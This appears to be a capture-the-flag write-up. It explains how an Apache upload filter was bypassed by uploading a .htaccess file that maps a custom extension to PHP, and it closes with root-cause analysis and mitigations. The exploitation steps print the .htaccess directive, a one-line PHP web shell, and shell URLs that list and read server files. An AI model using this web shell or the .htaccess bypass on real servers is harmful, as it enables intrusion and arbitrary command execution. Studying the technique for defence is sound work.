Vulnerability Overview
The upload endpoint blocked .php files by extension but permitted other PHP-compatible extensions (.php5, .phtml) and, critically, allowed upload of .htaccess files. By uploading a custom .htaccess to the uploads directory, Apache was configured to execute any custom extension as PHP — effectively registering a new PHP extension that bypassed the filter entirely.
Reconnaissance
Initial probing established:
- PNG uploads succeeded and were served from
/images/ .phpextension was blocked by the filter.php5,.phtml, and.pharuploaded but were served as plain text — Apache was not configured to execute them- Server:
Apache/2.4.62 (Debian)
Exploitation
Step 1 — Upload a custom .htaccess
Apache reads .htaccess files in each directory to apply local configuration. Uploading the following to /images/ instructed Apache to execute any file with a .pwn extension as PHP:
AddType application/x-httpd-php .pwnStep 2 — Upload the web shell
<?php system($_GET['cmd']); ?>Saved as shell.pwn — not blocked by the filter, and now executed as PHP by Apache.
Step 3 — Enumerate and extract
http://.../images/shell.pwn?cmd=find+/var/www+-type+f
# Output: /var/www/flag.txt
http://.../images/shell.pwn?cmd=cat+/var/www/flag.txtRoot Cause
Extension-only filtering is insufficient because PHP-compatible extensions are not limited to .php. The more critical failure was permitting upload of .htaccess — which gives any user the ability to reconfigure Apache's behavior for that directory, including registering arbitrary new PHP extensions.
| Control | Implementation |
|---|---|
Block .htaccess uploads explicitly | Add it to the denied list — never allow users to modify server configuration |
| Store uploads outside the web root | Files at /var/uploads/ cannot be executed via HTTP regardless of content |
| Whitelist MIME types server-side | Validate file magic bytes, not just extension or Content-Type header |
| Rename all uploaded files | A random UUID with a safe extension cannot be found or executed even if uploaded |
.htaccess upload leaves a complete bypass available. The most robust mitigation is storing uploads outside the web root — no amount of file content matters if the file cannot be reached via HTTP.